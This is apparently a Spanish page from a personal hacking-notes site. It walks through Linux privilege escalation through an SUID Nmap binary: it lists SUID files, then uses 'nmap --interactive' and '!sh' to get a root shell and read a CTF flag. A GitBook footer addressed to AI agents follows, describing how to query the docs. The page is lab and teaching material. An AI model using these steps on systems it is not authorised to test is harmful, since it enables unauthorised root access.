> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/suid/suid-nmap-linux-privilege-escalation.md).

# SUID (Nmap) - escalada de privilegios en Linux

## Qué es

Los binarios SUID se ejecutan con los privilegios de su propietario, a menudo root. Un binario SUID vulnerable, desactualizado o excesivamente flexible puede leer archivos protegidos, iniciar una shell con privilegios o ejecutar código controlado por un atacante. Esta página específica se centra en **SUID (Nmap)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Ejemplos

#### Descubrimiento de archivos SUID

Buscamos archivos con el bit SUID habilitado usando el siguiente comando:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/f3612e13cf07bfc240312d71b4699a68627fc3d7" alt=""><figcaption></figcaption></figure>

#### Identificación de Nmap

Entre los archivos listados encontramos **Nmap**.

#### Explotación

Nmap se puede usar en modo interactivo para ejecutar comandos como root. Estos son los pasos:

Inicia Nmap en modo interactivo:

```bash
nmap --interactive
```

Ejecuta comandos como root, por ejemplo:

```bash
!whoami
```

Muestra "root".

<figure><img src="/files/e8882ff372c3e91291cda0275d0ff5c48420f410" alt="" width="563"><figcaption></figcaption></figure>

Obtén una shell de root:

```bash
!sh
```

Una vez en la shell de root, accede al **archivo root. txt** para recuperar la bandera.

<figure><img src="/files/b87fb1c31188ad91abf0301477b5cd60a696c902" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/suid/suid-nmap-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
